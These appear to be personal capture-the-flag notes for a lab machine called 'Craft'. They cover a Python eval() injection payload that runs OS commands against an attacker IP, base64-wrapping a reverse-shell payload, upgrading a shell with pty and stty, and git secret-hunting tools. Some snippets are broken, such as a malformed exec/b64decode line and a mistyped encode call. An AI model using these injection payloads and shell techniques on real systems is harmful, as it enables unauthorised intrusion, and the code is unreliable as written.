Lin: Craft

alot of GIT , SSH , VAULT

check certificates for potenial usernames or password when using https

eval(user input) === RCE
import in one line
payload = '__import__("os").system("ping -c 1 10.10.14.9")'

to check the payload is successfull
tcpdump -n -i tun0 icmp

tools to analyze git repositories
zricethezav/gitleaks --> using go get
pip3 install truffleHog

git log --> gets the commit
git diff <commit number> --> show you what they did

Port Forwarding in REDISH machine (check it out)

to get reverse shell
search google pentest monkey reverse shell cheatsheet

sometimes the shell doesnot work on eval because it need it to be in one line
so what u do is
make file
from base64 import b64encode
sc= """ <payload>"""
print(b64.encode(sc.encode())

python3 file.py -->
take the base64
change payload to be
'exec(("base64").b64decode("<copied base64 payload>"))'

fully interactive shell:
python -c 'import pty; pty.spawn("/bin/sh")'
CTRL^Z
stty raw -echo
fg
Enter
Enter

to be able to edit--
open new panel
stty -a
get the number or ROWS and Columns , example 34 , 126
in ur shell (exploited one)
stty rows 34 cols 136

to decode somth base64

echo "ahmed" | base64 -d

Alot of attacks on git and SSH

when at root
ls -la
if u find docker env , then u are in a docker image
and ip address --> 172.smth (no need to priv esc)